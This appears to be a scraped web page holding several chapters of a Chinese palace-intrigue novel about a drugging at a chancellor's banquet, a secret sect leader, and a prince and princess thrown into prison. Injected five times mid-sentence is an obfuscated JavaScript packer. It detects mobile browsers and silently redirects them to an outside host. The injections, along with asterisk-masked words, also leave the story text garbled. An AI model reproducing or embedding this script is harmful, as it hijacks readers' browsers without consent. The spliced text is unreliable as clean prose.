那个神秘的华湘阁,其弟子个个都能医善毒,他就算是帝王,又能防得了多少? 夜时舒一脸委屈地说道,“父皇,自从华神医为我家王爷治好腿伤和容貌后,华神医和华湘阁就莫名其妙地被人针对。您可得好好审查,别中了某些人的离间计啊。” 第141章 请丞相夫人拿出证据! 尉迟晟背着手望着宴席上晕迷的宾客,目光深沉莫测。 最先被御医就醒的是尉迟凌、祝华凝、祝志顺以及南宫氏。 看到帝王的瞬间,四个人很明显地僵了一下,然后纷纷上前**。 “都平身吧!” “皇上。”南宫氏没起,哭着磕头,“臣妇今日生辰宴,不想却被有心人下药,臣女被害不打紧,可太子及朝中命妇们都因臣妇深受谋害,还请皇上务必彻查,给太子及命妇们一个交代!” “那你说说,何人有如此能耐,能在如此场合之中对所有宾客下药?”尉迟晟沉着脸问道。 南宫氏低垂着头回道,“臣妇不敢妄下判定,但可请御医们查验今日所有入口之物,兴许能发现线索。” 尉迟晟道,“御医已经查过了,酒中被人下了**,还是出自华湘阁的**。” 闻言,南宫氏立马朝顾思沫看去,无比痛心地质问道,“华神医,我们如此敬重你,且今日在场的人都与你无冤无仇,为何你要毒害我们?” 顾思沫看向她,从容淡漠地反问道,“就因为民女是华湘阁弟子,所以就认定**是民女下的?夫人也说了,民女与在场的人无冤无仇,那民女为何要做这样的事?” 南宫氏脱口道,“那就得问你了,究竟受何人指使?” 她话音刚落,御前侍卫统领便匆匆来报,并将一只白色瓶子呈上,“皇上,这是在祝夫人房中搜出来的!” 见状,南宫氏双眼瞪大,脸色瞬间大失血。 尉迟晟给陆长青递了个眼色。 陆长青上前接过吴钺手中的瓶子,拔开瓶塞小心翼翼地查看,然后向尉迟晟禀道,“皇上,没错,这便是华湘阁才有的**。” “不!”南宫氏一下子激动起来,指着顾思沫怒道,“你好毒的心啊!我好心邀你来参加我的寿宴,你不但对我的宾客下药,还把药藏进我房中嫁祸于我!我到底如何招你了,竟让你做出如此胆大妄为之事!” 夜时舒也对顾思沫说道,“华神医,如果丞相夫人说的是真的,那你可真是太忙了,既要去厨房下药,还要去丞相夫人房中藏药,最要紧的是你能在我们眼皮子下消失,同时避开丞相府所有下人。我能冒昧问一下,你是不是修炼了什么分身术?要真是有这等功夫,我介意你别去学什么医了,直接带兵上战场打仗,分身千万,以一人之力便能将敌人打得丢盔弃甲、落荒而逃!” 顾思沫忍不住掩嘴失笑,“王妃说的极是,我不该行医,特别是游医,居无定所不说,还赚不了几个铜板。只可惜,我除了懂点医术外,实在无专长,想建功立业恐怕只能在梦中了。” 南宫氏咬着牙一脸横气,“华神医一人难做到,不代表她没有同伙!” 夜时舒扭头看向她,微微一笑,“丞相夫人,你该不会说华神医的同伙就是我与王爷吧?我与王爷只是没喝酒而已,如果以此就能给我们定罪,那这世道可就是奸佞横行了。丞相夫人,你说是吧?” “你……” “你不就是怀疑我们夫妻和华神医吗,那就请丞相夫人拿出证据!”夜时舒笑容一收,凌厉地道,“**是从你房里搜出来的,你想嫁祸我们,门都没有!别告诉我,你府里谁谁谁看到了,如果有谁亲眼所见,那为何不提前揭露?如果揭露了,那被下药的酒水也就没人喝了,不是么?” 南宫氏脸色一阵青一阵白。 因为她正想说府中有人看到华芯进了她的房间…… 然而,正如夜时舒所言,如果有人看到,为何不及时禀报?若事前禀报了,岂不就能避免宾客中**了! 别说她,就连一旁的祝志顺、祝华凝、尉迟睿都对夜时舒投去惊诧的眼神。 谁也没想到她这个夜家出来的女儿竟如此能言善辩! 夜时舒似乎被人看得不好意思,退到尉迟晟身侧,抓着尉迟晟的手腕说道,“王爷,看丞相夫人的样子,是认定我们就是凶手。这可怎么办啊,华湘阁那个叛徒华平一直躲藏在京城中,我们抓又抓不到,难道就这样任凭别人诬陷吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136959|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尉迟晟龙颜一沉,目光威严地射向她,“承王妃所言是何意?” 夜时舒回道,“父皇,是这样的。华湘阁有个弟子叫华平,十年前就被华湘阁除名,可他近年来一直躲在京城中帮人做事。可他狡猾得很,我们抓了许久都没抓到他,现在他躲在暗处,想方设法地对付我们。” 尉迟晟目光一厉,转向尉迟凌,“承王,承王妃所言属实?” 尉迟凌点了点头,“属实。丞相夫人房中搜出的**,十有**是出自他之手。至于这瓶**是如何到丞相夫人房中的,儿臣便不得而知了。” 南宫氏一听,立马呼道,“皇上明鉴,臣妇绝对没有与那什么华平勾结,更不知那**为何会在臣妇房中!” 尉迟晟目光微紧地射向她,“谁说了你与他人勾结?不是你一直在控诉是华芯伙同承王夫妇给宾客下**吗?” 南宫氏满脸难堪,被祝志顺狠狠瞪了一眼后也不敢再说话了。 祝志顺说道,“皇上,华神医与我们无冤无仇,臣相信她不会做出这种事。贱内只是受了惊吓,所以说话才不过脑子,还请华神医见谅,也请承王和王妃见谅。” 他分别朝顾思沫和尉迟凌、夜时舒拱手作了一揖,以示歉意。 尉迟晟冷着脸扫了他们一眼,最后对祝志顺说道,“就今日这场酒宴,若真是承王与承王妃做手脚,他们用不着把朕叫来!再者,费如此大的功夫把所有人药倒,他们是吃饱了撑的,何不直接给你们一包**,还省得与你们争辩!反倒是你夫人,就凭华芯是华湘阁弟子,便不证事实就嚷着他们是凶手,如此不动脑子,若真是有人蓄意陷害承王和王妃,并扯上华湘阁,后果你们一家担得起吗?” 祝志顺赶紧跪地磕头,“皇上息怒,是臣管教不当,臣愿受罚!” 尉迟睿和祝华凝没出声,只是脸色都阴阴沉沉的很不好看。 “哼!”尉迟晟没看他,转头朝尉迟凌下令,“承王,既然你知道是谁在背后作恶,那便由你将其捉拿归案!” 第142章 儿臣就是阁主 “儿臣遵旨。”尉迟凌没有犹豫地应下。 帝王都如此发话了,而且让承王亲自捉人,也等于是让承王自证清白,还有谁敢不满的? 祝志顺和南宫氏自然是不敢再纠缠下去。 尉迟睿和祝华凝早在看到他出现时便知事态不妙,眼下龙颜大怒,他们更是不敢吱声。 尉迟晟望了一眼忙碌的御医们,随即便让齐绥摆驾回宫。 尉迟凌见南宫氏还跪在地上,上前将她扶了起来,并温声道,“夫人,下次可别再如此不分青红皂白了,伤和气不说,说不定还伤脖子。” 如果不去较真他字里行间的意思,任何人听着他这温和如风的嗓音都会以为他是在安慰人。 南宫氏脸色就跟抹了蜡一样死沉死沉的,但还必须得强挤出一丝笑,“捉拿下毒之人的差事,便摆脱承王殿下了。” “应该的。”尉迟凌退了一步,朝他们说道,“本王有任务在身,就不多叨扰了。” “恭送王爷、王妃。”祝志顺也没有挽留他们,直接送客。 顾思沫自然是跟着夜时舒和尉迟凌离开。 三人出了丞相府,上了马车。 夜时舒皱着眉道,“王爷,就这么离开,总觉得不甘心!先不说这南宫氏是否与华平勾结,就她今日这种做法,我真想抽她两巴掌!” 尉迟凌握着她的手,唇角突然勾起一丝邪意,“放心吧,本王已经帮你出气了,你只需回府等候消息便是。” “呃?”夜时舒不解地看着他。 帮她出气? 什么时候的事? 顾思沫坐在他们对面掩嘴笑,“小妹,王爷亲自出手,绝对不会让你失望的。你就等着看丞相夫人如何受罪吧!” 夜时舒偏着头,她就记得她男人扶了南宫氏一下…… 难道他是趁那个时候对南宫氏做了什么? “咳!”尉迟凌轻咳,突然转移话题,“一会儿送你们先回府,本王需入宫一趟。” “那我陪你去。”夜时舒脱口道。 “不用。”尉迟凌浅笑,“我很快便回,无需担心。” “好吧。”他既然如此说了,夜时舒便只能作罢。而且今日之事,她还得把告诉爹爹他们,让他们做好准备,接下来与丞相为首的**肯定会有交锋。 …… 御书房。 尉迟晟饮了一杯下火茶,正准备让齐绥去宣承王,就见齐绥进来禀报,“皇上,承王殿下求见。” “宣!” “是!” 不多时,看着儿子进来,尉迟晟没好气地道,“不去捉拿下药之人,跑宫里做何?” 尉迟凌行了礼后才直起身回他,“那不过是华湘阁一个叛徒而已,抓他还用不着儿臣动手。” 尉迟晟眉峰紧蹙,目光深沉又复杂地盯着他,“那你进宫见朕所为何事?” “有劳公公行个方便。”尉迟凌突然朝齐绥拱手。 齐绥下意识地朝帝王看去。 尉迟晟摆了摆手,示意他退下。 待御书房就他们父子时,尉迟晟抬了抬下巴,“说吧,何事?” 尉迟凌垂眸,语声肃然,“自从华芯为儿臣治好腿疾和脸伤后,便有不少人以各种理由针对华芯,甚至剑指华湘阁,意强行让华湘阁变成朝廷的威胁。儿臣今日进宫,为的便是提醒父皇,再有人针对华芯及华湘阁,请勿轻信。” 提到华湘阁,尉迟晟就忍不住皱眉,“那华湘阁神秘如斯,且阁中弟子隐世而立,难道朕不该有所防备?” 尉迟凌从怀中取出一块黑色牌子,上前双手呈上。 尉迟晟不明所以,但还是接过。只是接过牌子后,他才发现牌子上的图腾有些眼熟。 “这是?” “华湘阁阁主信物。” “你?!”尉迟晟惊得从龙椅上起身,瞪着手中的牌子,又瞪着对面的儿子,“你、你怎会有华湘阁阁主的信物?” 他记起来了,这图腾他曾在先皇的御书房中见过! 尉迟凌抬起眸子,沉声回道,“儿臣只想告诉父皇,如果儿臣有任何不轨之心,在儿子戍守边疆十载之际,便不会让边疆太平、让江山稳固。如果哪日父皇听信谗言,非要与华湘阁为敌,那儿臣身为华湘阁现任掌门,自会尽一切所能保护华湘阁。如果有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136960|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 违誓言,当天诛地灭,死无葬身之地!” 换言之,任何人想动华湘阁,都是与他为敌。 哪怕是面前的生父! 尉迟晟绕过书桌走到他面前,一手紧握黑牌,一手握住他的肩,难掩激动地问道,“这是何时的事?为何朕从未听你说过?那华湘阁老阁主与你皇祖父有些交情,朕也是从你皇祖父那里听说过华湘阁的厉害。但这么多年了,朕除了见过华芯外,还从未与华湘阁弟子打过交道。你真是能耐啊,竟然背着朕做了华湘阁阁主!” “儿臣无意接管华湘阁,只是师父临终授命,不得不从。” “快快,同父皇说说,你是怎么当上这华湘阁阁主的?” “十年前,儿臣在边疆救下一老者,并替他杀退仇敌。后来老者在军营中留了下来,他擅长医术,为军中将士行医治伤,儿臣闲来无事便拜了他为师。”说起过往,尉迟凌声线有几分沙哑,“可惜他被仇敌追杀时,负伤太重,连自己都束手无措。五年前,他在儿臣帐中离开了人世。” 尉迟晟神色随之凝重,叹道,“朕听你皇祖父说过,那老阁主最是慈悲,没想到竟‘走’得那般冷清。” 尉迟凌敛住眸中流泄出来的哀色,很快恢复了平静,“父皇,儿臣无心皇权,但华湘阁与儿臣生死与共,倘若再有人诋毁华湘阁清誉,不论他是何身份,儿臣绝不手软!” 尉迟晟正要说话,齐绥的声音从门外传来,“皇上,丞相大人派人来请承王殿下!” 尉迟晟没好气地道,“进来!” 齐绥进来,躬着身禀道,“皇上,丞相府的人说,丞相夫人突发怪症,半个身子抽搐不止。在丞相府的御医都没瞧出是何病因,丞相大人原本派人去承王府请华神医,但华神医不知去向。于是丞相大人派人来宫里请承王殿下,希望承王殿下能卖个人情,出面请华神医去丞相府为丞相夫人诊治。” 尉迟晟狠狠一愣,接着看着儿子,“是你做的?!” 尉迟凌没答他,只是转身对齐绥笑了笑,“劳烦公公替本王回个话,就说华湘阁不救无德之人。” 第143章 把承王打入天牢 齐绥退下去传话了。 尉迟晟拧着眉问道,“真是你做的?你就不怕彻底惹恼丞相府?” 尉迟凌唇角一侧翘起,“本阁主亲自送她下半生安然于榻,是她的福气。别说一个丞相府,便是十个丞相府,我华湘阁也得罪得起!” 看着面前三分邪恶七分痞气的儿子,尉迟晟多少有些不适应。 不,应该是他对这个儿子疏忽得太多了,只知他在边疆时不断打胜仗,捷报一个接一个。如今回想起来,他心中愧疚泛滥,都不敢去细想那十年军营生活,他到底还经历了什么…… “今日之事,南宫氏的确咄咄逼人,给她些教训也是她应得的。”他拍了拍儿子的肩,语重心长地道,“父皇知你人不入朝堂却心系朝堂,你放心,父皇不是那愚昧的昏君,忠言和谗言,父皇分得清!” “避免有人拿此事做文章,还请父皇替儿臣紧守秘密。儿臣想看看,究竟是哪些人容不下华湘阁,又是哪些人见不得我大邺国社稷安稳。” “嗯。” 尉迟晟正点头,就听齐绥的声音又从门外传来,“启禀皇上,澜贵妃求见。” 尉迟晟再次没好气抬头,“让她进来!” 不多时。 一身雍容华贵的澜贵妃进了御书房。 见到尉迟凌这个儿子,她给尉迟晟行了礼后,面上立马带上了几分严厉,斥道,“凌儿,你们今日都做了些什么?把丞相府弄得人仰马翻不说,刚刚还有人进宫来报,说丞相夫人在你们走后便怪疾发作!你如实交代,究竟是谁做的?” 尉迟凌嘲讽地勾了勾唇,“母妃不问事由和经过,便凭空猜测是儿臣。知道的当你是儿臣母妃,不知道的还以为您同丞相夫人是胞生姐妹呢,竟然能同仇敌忾栽赃儿臣。” “放肆!你竟敢如此同本宫说话!”澜贵妃气得扬起了手掌。 然,尉迟凌直接一步后退。 不仅没受她的掌掴,还冷冷地盯着她,“继母为了颜面都知道在人前伪装,作为生母,却连伪装都难以做到,你不觉得自己可笑吗?” 换言之,就是说她连继母都不如! 澜贵妃恼羞成怒,指甲凌厉地指着他,“你……” “够了1”尉迟晟怒喝。 “皇上!”澜贵妃转头,红着眼眶对他哭诉起来,“您看看凌儿,他都不把臣妾放在眼中!” “你又将朕放在眼中了?”尉迟晟冷声回怼。 “臣妾……臣妾只是因为丞相府的事着急,毕竟发生那么大的事,听说朝中不少命妇都险些被害,若是处理不当,如何向朝中文武百官交代?”澜贵妃委屈地解释。 尉迟晟微眯着双目,目光暗转过后,突然缓了几分语气,“朕已经查过,在丞相府酒宴中下药之人的确与华湘阁有关。朕让承王进宫便是商议此事,既然贵妃来了,那便说说你的看法吧。” 澜贵妃一脸嫉恶如仇,说道,“皇上,京城乃天子脚下,华湘阁弟子如此作乱,不仅仅是胆大狂妄,更是对皇权的挑衅!臣妾以为,应下令铲除华湘阁这些为祸世人的弟子,为了不让华湘阁再打扰救济苍生的美誉霍乱天下,还需找到华湘阁巢穴,将这种欺世盗名的宗派彻底清除干净!” 尉迟晟眸底浮出一丝黯色,“依贵妃所言,铲除华湘阁极其弟子,该如何下手?又该派何人担此大任?” 澜贵妃看了一眼旁边的儿子,“皇上,依臣妾看,不如让凌儿担此大任,先将华芯拿下,逼其说出华湘阁巢穴所在之地,然后让凌儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136961|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带兵将华湘阁一网打尽!” 尉迟晟皱了皱眉头,似为难地说道,“可华芯怎么说也治好了凌儿的腿伤和脸伤,让凌儿去做这事,未免有些恩将仇报。” 澜贵妃义正严词地道,“皇上,男子汉大丈夫,应以大义为重!何况凌儿身为皇子,为大邺国百姓除害,是他应该做的!” 尉迟晟朝儿子看去,“凌儿,你如何看?” 尉迟凌勾了勾唇,眸光含笑地看向澜贵妃,“母妃这是咬定了心思要除掉华湘阁?” 澜贵妃不满地瞪他,“什么叫本宫咬定了心思?华湘阁弟子在丞相府肆意作恶,险些伤害太子和朝中命妇,如此恶毒之行径,若我们容忍,那我们天家威严何在?又如何向朝臣及百姓交代?” “儿臣懂了,母妃的意思便是,横竖也要华湘阁灭亡。” “这类欺世盗名的宗派本就不该存在!” “可要是儿臣不同意呢?” “你!” “母妃可要说儿臣与华湘阁同流合污?依儿臣看,母妃也费口舌了,直接请父皇下一道圣旨,即刻砍了儿臣的脑袋,以儆效尤。一来,成全了你大义灭亲的美名,二来,可安抚朝臣及百姓惶恐之心。反正儿臣在你眼中做什么都是错,不如砍了,全当你十月怀胎生了个畜生。” “你胡说八道什么?”澜贵妃美目一瞪,整个人都气得抖了起来,然后朝尉迟晟跪下,一脸痛心地哭了起来,“皇上,您看看他,臣妾可是她母妃啊,他怎能如此同臣妾说话!” 尉迟晟拍桌大怒,“承王,休得无理!”他随即朝门外喝道,“吴钺!” 吴钺快速进到御书房,“皇上,有何吩咐?” “承王言语失德,给朕打入天牢,令其好好反省!” 第144章 夫妻同入狱 “……!”吴钺狠狠一怔,承王犯了何事需要打入天牢?! 可不等他动手,尉迟凌便主动朝他走去,并招呼他,“吴将军,走吧。” 吴钺满头都是疑问,看了帝王好几眼,可都没看出有任何开玩笑的痕迹。不得已,他只能跟着尉迟凌离开御书房。 尉迟晟随即又对澜贵妃说道,“承王在外多年,性子桀骜难驯,是该好好管教管教!” 澜贵妃完全没想到他会下令把尉迟凌关进天牢。 她本以为他至多责备尉迟凌几句…… 突来的惩罚让她着实意外和惊喜! 可面上,她还必须装作伤心的样子,捏着手帕拭着眼角,哽咽道,“皇上,都是臣妾的错。是臣妾没有教导好凌儿,才让他如此桀骜不驯。您如果要罚,便把臣妾一块罚了吧!” 尉迟晟重重地叹了口气,“先让他在天牢里好好反省反省,至于华湘阁的事,朕心中有数,会挑选合适之人去处理。” 澜贵妃还能再说什么? 尉迟凌已经被打入天牢了,若是她再揪着华湘阁的事不放,肯定会让帝王反感。 “皇上,若没别的事,臣妾先告退了。晚些时候,臣妾再去天牢看凌儿,顺便给他送些吃的。” “嗯。” 目送她离开御书房,过了片刻,尉迟晟把齐绥叫到跟前。 见齐绥一脸愁容,似乎欲言又止,他没好气地道,“有何话就直说!” 齐绥不解地问道,“皇上,承王的性子与澜贵妃向来不合,这您是知道的,为何您突然将承王打入天牢?还有澜贵妃,如此好的机会,只要她替承王求个情,说不定他们母子之情就能得到修复……唉!” 尉迟晟一双眼睛紧敛,目光深沉又冷冽。 是啊! 作为生母,竟然眼睁睁看着儿子入狱而无动于衷…… 现在他回想承王说过的话,还真没有发现有哪句说错了! 生母连继母都不如! 这些年来,对于承王的事,澜贵妃不是反对就是打压,美其名曰不想让亲生儿子抢夺太子的风头、不想让朝臣们对他们母子心生忌惮,可是这样的话说多了,打压亲生子的事做多了,难免让人怀疑…… 承王真的是她的亲生子吗? 他紧敛的双目突然睁大,瞳孔中露出惊色! 难道…… “齐绥!” “皇上,老奴在。” “让人暗中盯紧天牢,任何人去探视承王,说了什么话、做了什么事,全给朕一一回报!” “是!” …… 承王府。 夜时舒回府没多久,丞相府便派人来请顾思沫。 得知丞相夫人南宫氏突然像中风了,半边身子都抖动不止,夜时舒差点当着丞相府的人喷笑。 这‘报应’来得也太快了吧! “咳!”清了清嗓音,她端坐大椅,正色说道,“请你回去告诉丞相,华神医一刻钟前就已经离开了承王府。” “敢问王妃,华神医去了何处?”丞相府的人毕恭毕敬地问道。 “华神医来去自由,本王妃也不知她去了何处。” “王妃,承王殿下可在府中?他是否知道华神医的去向?”丞相府的人又问道。 “王爷进宫了。你若要找他,便去宫中吧。”夜时舒有些不耐地道,“本王妃只负责王府内院的事,别的事一向不掺和。” 承王府的人难掩失望,可见她神色冷漠起来,便也只能识趣地告辞。 等人一走,顾思沫和夜时竣便进了厅堂。 夜时竣笑道,“看那人的样子,南宫氏应是病得不轻!” 顾思沫只笑不语。 夜时竣突然看着她,有些不满,“芯儿,你不是说华湘阁的医药和医术不能随便传人吗?那王爷怎么对付南宫氏的?” 顾思沫笑眯眯的脸一下子僵住,“呃……” 华湘阁阁主,哪是她能传授的? 见顾思沫被问的尴尬不已,夜时舒赶忙打圆场,“二哥,王爷怎么对付南宫氏的连我都不知道,你问芯儿她也不可能知道!” 她知道尉迟凌也是华湘阁弟子,只是这事在没有经过尉迟凌同意前,她不能说,所以她补充道,“说不定是王爷从别处寻来的法子,反正不管怎样,现在南宫氏遭了罪,可喜可贺!” 夜时竣撇嘴,“本来我也想去的,你们就是不带我,害我今日什么热闹都没看到!” 顾思沫嗔了他一眼,“那种热闹有什么好看的?多去个人就多份麻烦,你瞎添什么乱?” 夜时竣转瞬又笑,“我就说说而已!” 看着自家二哥变脸的样子,夜时舒忍不住失笑。 终于有人能管住她二哥了! 三个人在厅堂里说说笑笑许久,正商量着哪天找个地方出游时,文岩和文墨同时慌张跑进厅堂。 “王妃,不好了,王爷被皇上打入天牢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136962|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”文岩先呼道。 “什么?!”夜时舒、夜时竣、顾思沫同时震惊不已。 文墨接着道,“宫里传来的消息,没有假!王妃,这下可如何是好?” 夜时舒没有迟疑,说道,“文岩、文墨,你们随我进宫!” …… 御书房。 听说承王妃求见,尉迟晟头也没抬,只对齐绥说道,“他们夫妻恩爱,既然承王妃放心不下承王,那便让她去天牢陪承王吧!” 齐绥愣了一下才回道,“……是。” 天牢里。 看着自己女人出现,尉迟凌没觉得意外。 就在他思考着如何打发狱卒同夜时舒解释时,狱卒打开了牢门,让夜时舒进去,然后又把牢门锁上,头也不回地离去。 尉迟凌有些懵,“你……” 夜时舒扑倒他身上,笑着道,“是不是很惊喜?我本来是想去找父皇问明缘由的,可他见都没见我,直接让我进来陪你了!” 尉迟凌呼出一口气。 什么惊喜,惊吓才对! 他还以为她是听到消息然后冲动地跑去找父皇理论,惹得龙颜大怒才被关了进来! “你我都进来了,外面的人该如何办?”他搂住她,含笑道,“你就不怕岳父大人和两位舅兄冲动**?” “我让文岩和文墨回去告诉他们了。”夜时舒抬手摸着他的脸,有些心疼,“在丞相府父皇都没拿你怎样,怎么进了宫还把他惹到了?” 尉迟凌低下头在她唇上轻啄了一下,勾唇向她说起了经过。 末了,他又道,“我只是想让父皇起疑,让他仔细斟酌我与澜贵妃的关系。” 夜时舒心疼道,“再忍一段时日就好了,我已经想到办法了,你干嘛非要让自己挨这一遭!” “让他早点起疑也没坏处,往后真相大白时,他才能更好的接受。”尉迟凌低声道。 他肯定不是澜贵妃的亲生子。 甚是不是父皇的儿子。 早日让父皇起疑,让父皇能提前有所准备,对他来说也不是坏事。 不然真相摆在面前,得知他不是皇室血脉,他尴尬不说,帝王也无所适从。 夜时舒正要说话,突然耳尖地听到脚步声。 夫妻俩默契地停止聊天。 不一会儿,就见一对男女出现在牢门外。 “二弟、二弟妹,究竟发生了何事,你们怎会被打入天牢了呢?”祝华凝关心地问道。 第145章 夫妻一体,生死相随 夜时舒只把头埋在尉迟凌怀中,理都不想搭理他们。 尉迟凌也没给他们好脸,直接问道,“皇兄和皇嫂是来看我们笑话的?” 祝华凝委屈不已,“二弟,你怎能如此想我们?我和太子听说你们进了天牢,都担心不已。贵妃娘娘也因为此事在寝宫以泪洗面,本想来看你们的,可又怕你不待见她,便托我们来天牢。二弟,有什么话好好说,我们是一家人,别弄得像仇敌似的,行吗?” “本王同你们没什么好说的!”尉迟凌一脸嫌恶。 见他如此横气,尉迟睿轻哼,“二弟,我们来看你,那是看在手足之情的份上,别如此不知好歹,否则还不定要吃多大的亏呢!” 祝华凝拉了拉他衣袖,劝道,“殿下,二弟他们都这样了,您就别说气话了,当务之急是要想办法把二弟和弟妹救出去。” 尉迟睿故作沉思一番,然后软了语气,温声说道,“二弟,父皇正在气头上,谁也不见,我与贵妃娘娘想帮你求情都没用。不过我倒是有个主意,说不定能帮你和弟妹脱困。” “丞相夫人突染怪疾,御医都查不出来是何病因,你让华芯出面为丞相夫人诊治,待丞相夫人病好以后,我们请丞相帮你去父皇面前求情。” “他是百官之首,朝中官员大都会给他几分颜面,有他领着文武大臣向父皇求情,相信父皇一定会放你们出去的。” 夜时舒从尉迟凌怀中抬起头,回他,“华芯已经离开了!” “离开了?她去哪了?”祝华凝急声问道。 “不知道。”夜时舒摇了摇头,“丞相府的酒水中出现华湘阁的**,华神医说她要去找出真凶,然后就离开了。至于她要去哪里找真凶,我也不好问,毕竟华湘阁弟子的行踪从来都是神秘的。” “你怎不把她留下!”尉迟睿抬手指着她,“丞相府的事还没有查明清楚,她现在还有着重大嫌疑,你把她放走,是想包庇她吗?” 夜时舒刚要开口,尉迟凌便替他怼了回去,“是否有嫌疑,不是太子说了算!如果太子不服,大可去找父皇,让他发落!” 尉迟睿刚刚还温润的脸庞几乎是转瞬就变了,阴仄仄地目光盯着他们,恨不得把手伸进牢门内掐死他们! 祝华凝也没了先前关心的神色,冷着脸说道,“我母亲突染怪病,十有**与华芯有关,如今她无故离开,定是心虚!既然你们存了心要袒护她,那我们便走着瞧!你们最好祈祷她不要落在我们手上,否则休怪我们心狠手辣!” “呵呵!”夜时舒轻笑道,“皇嫂,你不装温柔的样子比你虚伪时的模样更好看,希望你大胆一些,在人前也能有如此气势,不然你这个太子妃算是白做了。” “你!”祝华凝忍不住怒瞪她。 尉迟凌立马将夜时舒的脸重新摁进怀中,好似怕她会被祝华凝凶恶的样子吓到。 而他,冷硬地开口,“你们有何不满,大可去向父皇说,如果父皇要砍我们的脑袋,我们也无话可说!” “好……好得很!”尉迟睿手指着他,指头点了点,咬牙切齿地拂袖离去。 祝华凝临走前,一双目光冷冷地盯了他们片刻。 听着他们远去的脚步声,确定他们没再回来后,夜时舒才从尉迟凌怀中抬起头,笑着问他,“咱们这样,算不算与他们撕破脸?” “本王早就受够了他们的虚伪,撕破脸也是早晚的事。”尉迟凌抚着她后背,低头看着她,冷眸中带着几分不确定,“怕吗?” “怕什么?”夜时舒笑着反问,“怕嫁给你后享不了荣华富贵?还是怕皇权之争陪你丢了性命?” 尉迟凌紧抿薄唇不语。 夜时舒抱着他腰身,脸颊在他身上蹭了蹭,“荣华富贵也是需要争取的,性命也是需要自己爱惜的,哪有人什么都不做便能得到这些?你把我‘牌位’领进承王府的那一刻我就已经做好了准备,你若真心待我,我定要以真心回报,夫妻一体,生死相随。” “舒儿……”这还是她第一次如此郑重又深情的告白,尉迟凌哪能不动容? 但夜时舒不给他说话的机会,接着又严肃地补充,“如果你有异心,或者将来变心,那我也会毫不留情地转身离去!” “这辈子你都没机会!”尉迟凌抵着她额头,眸中含着一丝薄怒,“再听你说这种话,决不轻饶!” 夜时舒嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136963|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翘起。 正在这时,又有脚步声朝他们的方向而来。 是狱卒来送吃的。 对方将两份饭菜放在牢门外便离开了,一句话多的话都没有。 夜时舒放开尉迟凌,先去拿饭菜。 “王爷,这饭菜能吃吗?” 尉迟凌接过盛饭菜的粗碗,放到鼻下闻了闻,然后放回牢门外。 看他沉冷的神色,夜时舒已经知晓了答案,忍不住低骂,“他们是等不及要我们性命了!” 尉迟凌低沉道,“我们在天牢中,本就是他们下手最好的机会。何况,狱中无端**,并不少见。” 突然,又有脚步声响起。 夫妻俩同时冷脸迎接着对方。 如果有人要强迫他们吃这些饭菜,那他们也不会坐以待毙、任人宰割! 然而,这次除了狱卒外,还有一名宫女。 夫妻俩少有进宫,自是不认识对方。 那宫女先是给了狱卒一锭银子,待狱卒离开后,她才行礼自我介绍起来,“奴婢流霞,参见承王殿下、参见承王妃。奴婢是锦福宫的宫女,奉妍妃娘娘之命来给王爷和王妃送吃食的。” 夜时舒听着有些熟悉,仔细一想才记起来。 那不是前不久差点小产的妍妃吗? 还是她二嫂帮助妍妃保住了肚中的皇嗣呢! “妍妃娘娘有心了。”她朝流霞微微笑道。 